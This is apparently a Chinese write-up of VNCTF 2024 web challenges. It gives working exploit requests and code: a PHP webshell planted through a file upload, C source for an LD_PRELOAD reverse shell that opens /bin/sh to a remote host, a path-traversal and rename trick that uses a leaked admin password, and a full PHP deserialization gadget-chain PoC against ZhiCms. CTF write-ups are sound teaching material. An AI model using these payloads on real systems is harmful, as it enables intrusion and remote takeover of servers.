VNCTF 2024 Web

Sign in

game.js中发现关键代码,放到console中执行

1
2
var _0x3d9d=["\x56\x4e\x43\x54\x46\x7b\x57\x33\x31\x63\x30\x6d\x33\x5f\x74\x30\x5f\x56\x4e\x43\x54\x46\x5f\x32\x30\x32\x34\x5f\x67\x40\x6f\x64\x5f\x4a\x30\x42\x21\x21\x21\x21\x7d"];  
console.log(_0x3d9d[0]);  

获得flag
VNCTF{W31c0m3_t0_VNCTF_2024_g@od_J0B!!!!}

TrySent

poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
POST /user/upload/upload HTTP/1.1  
Host: 2180fc06-45c6-4306-8e86-637be6a3025a.vnctf2024.manqiu.top  
Content-Length: 758  
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97"  
Sec-Ch-Ua-Mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36  
Sec-Ch-Ua-Platform: "Windows"  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhx2kYAMYDqoTThz  
Accept: */*  
Origin: https://info.ziwugu.vip/  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://target.com/user/upload/index?name=icon&type=image&limit=1  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9,ja-CN;q=0.8,ja;q=0.7,en;q=0.6  
Connection: close  
  
------WebKitFormBoundaryrhx2kYAMYDqoTThz  
Content-Disposition: form-data; name="id"  
  
WU_FILE_0  
------WebKitFormBoundaryrhx2kYAMYDqoTThz  
Content-Disposition: form-data; name="name"  
  
test.jpg  
------WebKitFormBoundaryrhx2kYAMYDqoTThz  
Content-Disposition: form-data; name="type"  
  
image/jpeg  
------WebKitFormBoundaryrhx2kYAMYDqoTThz  
Content-Disposition: form-data; name="lastModifiedDate"  
  
Wed Jul 21 2021 18:15:25 GMT+0800 (中国标准时间)  
------WebKitFormBoundaryrhx2kYAMYDqoTThz  
Content-Disposition: form-data; name="size"  
  
164264  
------WebKitFormBoundaryrhx2kYAMYDqoTThz  
Content-Disposition: form-data; name="file"; filename="test.php"  
Content-Type: image/jpeg  
  
JFIF  
<?=`$_GET[1]`;?>  
  
------WebKitFormBoundaryrhx2kYAMYDqoTThz--  

Reference

https://blog.hanayuzu.top/articles/37dacab4

givephp

劫持LD_PRELOAD变量
写一个reverseshell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdlib.h>  
#include <stdio.h>  
#include <string.h>  
#include <unistd.h>  
#include <netinet/in.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
  
#define REMOTE_ADDR "ip"  
#define REMOTE_PORT port  
  
__attribute__((__constructor__)) void preload(void)  
{  
    struct sockaddr_in sa;  
    int s;  
  
    sa.sin_family = AF_INET;  
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);  
    sa.sin_port = htons(REMOTE_PORT);  
  
    s = socket(AF_INET, SOCK_STREAM, 0);  
    connect(s, (struct sockaddr *)&sa, sizeof(sa));  
    dup2(s, 0);  
    dup2(s, 1);  
    dup2(s, 2);  
  
    execve("/bin/sh", 0, 0);  
}  

编译共享库
gcc -fPIC exp.c -o exp.so
/?challenge=1&key=LD_PRELOAD&value=/tmp/uploaded_file_65d06b74e02569.16227496.so&guess=%00lambda_1

CutePath

/chfs/files?filepath=../ 存在目录遍历
得到账号和密码
admin:gdgm.edu.cn@M1n9K1n9P@as
登陆之后,得到更多的功能点
通过目录遍历,得到flag文件的位置
../../../flag/flag/flag.txt
存在重命名功能点,并且跨目录,直接将flag.txt文件移动到web目录即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /chfs/rename  
  
------WebKitFormBoundary4GWMTiRPXoB99YrX  
Content-Disposition: form-data; name="new"  
  
../../../home/ming/share_main/flag.txt  
------WebKitFormBoundary4GWMTiRPXoB99YrX  
Content-Disposition: form-data; name="old"  
  
../../../flag/flag/flag.txt  
------WebKitFormBoundary4GWMTiRPXoB99YrX--  

访问/chfs/shared/flag.txt?v=1得到flag
VNCTF{564e406840636b3156315f6764676d}

codefever_again

根据 https://github.com/PGYER/codefever/issues/140 来打

zhi

Unserialize RCE

giftcontroller控制器下面存在如下方法

1
2
3
4
5
6
public function globallike(){  
	 $mylike=$_COOKIE['mylike'];  
	 $arr = unserialize($mylike);  
  
	 echo count($arr);  
}  

很明显存在一个unserialize
全局搜索__destruct,利用simple_html_dom类中的__destruct方法

1
2
3
4
function __destruct()  
{  
	$this->clear();  
}  

跟进查看clear()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
function clear()  
{  
	foreach ($this->nodes as $n) {$n->clear(); $n = null;}  
	// This add next line is documented in the sourceforge repository. 2977248 as a fix for ongoing memory leaks that occur even with the use of clear.  
	if (isset($this->children)) foreach ($this->children as $n) {$n->clear(); $n = null;}  
	if (isset($this->parent)) {$this->parent->clear(); unset($this->parent);}  
	if (isset($this->root)) {$this->root->clear(); unset($this->root);}  
	unset($this->doc);  
	unset($this->noise);  
}  

这里可以任意调用__call()方法,或者clear()方法
这里利用MemcachedDriver类中的clear()方法

1
2
3
public function clear() {  
	return $this->mmc->set($this->group.'_ver', $this->ver+1);  
}  

利用拼接进行触发__toString方法,选择simple_html_dom_node

1
2
3
4
function __toString()  
{  
	return $this->outertext();  
}  

进入outertext()方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function outertext()  
{  
	global $debugObject;  
	if (is_object($debugObject))  
	{  
		$text = '';  
		if ($this->tag == 'text')  
		{  
			if (!empty($this->text))  
			{  
				$text = " with text: " . $this->text;  
			}  
		}  
		$debugObject->debugLog(1, 'Innertext of tag: ' . $this->tag . $text);  
	}  
  
	if ($this->tag==='root') return $this->innertext();  
  
	// trigger callback  
	if ($this->dom && $this->dom->callback!==null)  
	{  
		call_user_func_array($this->dom->callback, array($this));  
	}  

其中可以调用到call_user_func_array($this->dom->callback, array($this));方法,但是无法控制第二个参数,所以只能调用到任意类的任意方法并且参数只能是一个
这里利用Template类中的display方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
public function display($tpl = '', $return = false, $isTpl = true ) {  
	if( $return ){  
		if ( ob_get_level() ){  
			ob_end_flush();  
			flush();   
		}   
		ob_start();  
	}  
	  
	extract($this->vars, EXTR_OVERWRITE);  
	eval('?>' . $this->compile( $tpl, $isTpl));  
	  
	if( $return ){  
		$content = ob_get_contents();  
		ob_end_clean();  
		return $content;  
	}  
}  

可以利用extract($this->vars, EXTR_OVERWRITE);来控制$this->compile( $tpl, $isTpl)中的参数,跟进查看是否能控制其返回内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function compile( $tpl, $isTpl = true ) {  
	if( $isTpl ){  
		$tplFile = $this->config['TPL_PATH'] . $tpl . $this->config['TPL_SUFFIX'];  
		if ( !file_exists($tplFile) ) {  
			throw new \Exception("Template file '{$tplFile}' not found", 500);  
		}  
		$tplKey = md5(realpath($tplFile));				  
	} else {  
		$tplKey = md5($tpl);  
	}  
  
	$ret = unserialize( $this->cache->get( $tplKey ) );	  
	if ( empty($ret['template']) || ($isTpl&&filemtime($tplFile)>($ret['compile_time'])) ) {  
		$template = $isTpl ? file_get_contents( $tplFile ) : $tpl;  
		if( false === Hook::listen('templateParse', array($template), $template) ){  
			foreach ($this->label as $key => $value) {  
				$template = preg_replace($key, $value, $template);  
			}		  
		}  
		$ret = array('template'=>$template, 'compile_time'=>time());  
		$this->cache->set( $tplKey, serialize($ret), 86400*365);  
	}	  
	return $ret['template'];  
}  

可以看到,如果能控制unserialize($this->cache->get( $tplKey ))的内容,便可以控制返回内容,这里全局搜索一下get()方法
这里利用FileCacheDriver中的get()方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public function get( $key ){  
	$content = @file_get_contents( $this->_getFilePath($key) );  
	if( empty($content) ) return false;  
	  
	$expire  =  (int) substr($content, 13, 12);  
	if( time() >= $expire ) return false;  
  
	$md5Sign  =  substr($content, 25, 32);  
	$content   =  substr($content, 57);  
	if( $md5Sign != md5($content) ) return false;  
	  
	return @unserialize($content);  
}  

$this->_getFilePath方法中获取内容,并且进行了一些判断,然后反序列化后返回内容,跟进其方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
private function _getFilePath($key, $isCreatePath = false){  
	$key = md5($key);  
	  
	$dir = $this->config['CACHE_PATH'] . '/' . $this->config['GROUP'] . '/';  
	for($i=0; $i<$this->config['HASH_DEEP']; $i++){  
		$dir = $dir. substr($key, $i*2, 2).'/';  
	}  
	$dir = str_replace('/', DIRECTORY_SEPARATOR, $dir);  
	  
	if ( !file_exists($dir) ) {  
		if ( !@mkdir($dir, 0777, true) ){  
			throw new \Exception("Can not create dir '{$dir}'", 500);  
		 }               
	}  
	if ( !is_writable($dir) ) @chmod($dir, 0777);  
	  
	return $dir. $key . '.php';;  
}  

进行了一些目录文件名拼接的操作,然后返回一个php文件,但是我们并没有这个文件,所以会进入compile()方法中的if条件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
if ( empty($ret['template']) || ($isTpl&&filemtime($tplFile)>($ret['compile_time'])) ) {  
	$template = $isTpl ? file_get_contents( $tplFile ) : $tpl;  
	if( false === Hook::listen('templateParse', array($template), $template) ){  
		foreach ($this->label as $key => $value) {  
			$template = preg_replace($key, $value, $template);  
		}		  
	}  
	$ret = array('template'=>$template, 'compile_time'=>time());  
	$this->cache->set( $tplKey, serialize($ret), 86400*365);  
}	  

内容就是传入的$tpl,接着调用$this->cache->set()方法,写入内容
这里就利用FileCacheDriver类中的set()方法

1
2
3
4
5
6
7
8
public function set($key, $value, $expire = 1800){		  
	$value = serialize($value);  
	$md5Sign = md5($value);  
	$expire = time() + $expire;		  
	$content    = '<?php exit;?>' . sprintf('%012d', $expire) . $md5Sign . $value;		  
     
   return @file_put_contents($this->_getFilePath($key, true), $content, LOCK_EX);  
}  

构造完整poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php  
namespace ZhiCms\ext{  
    use ZhiCms\base\cache\MemcachedDriver;  
    use ZhiCms\base\Template;  
    class simple_html_dom{  
        public $nodes = array();  
        public function __construct(){  
            $this->nodes[] = new MemcachedDriver;  
        }  
    }  
    class simple_html_dom_node{  
        private $dom;  
        public function __construct(){  
            $this->dom->callback = array(new Template,'display');  
        }  
    }  
    class Send {  
        public function __construct(){  
  
        }  
    }  
    echo urlencode(serialize(new simple_html_dom));  
}  
namespace ZhiCms\base\cache{  
    use ZhiCms\ext\simple_html_dom_node;  
    use ZhiCms\ext\Send;  
    class FileCacheDriver{  
        public function __construct(){  
    }  
    }  
    class MemcachedDriver{  
        protected $group = '';   
        protected $mmc = NULL;  
        public function __construct(){  
            $this->group = new simple_html_dom_node;  
            $this->mmc = new Send();  
        }  
    }     
}  
  
namespace ZhiCms\base{  
    use ZhiCms\base\cache\FileCacheDriver;  
    class Template {  
        protected $vars = array();  
        protected $cache;  
        public function __construct(){  
            $this->vars=array("tpl"=>"<?=phpinfo();?>","isTpl"=>false);  
            $this->cache = new FileCacheDriver;  
        }  
    }  
}  
?>  

0%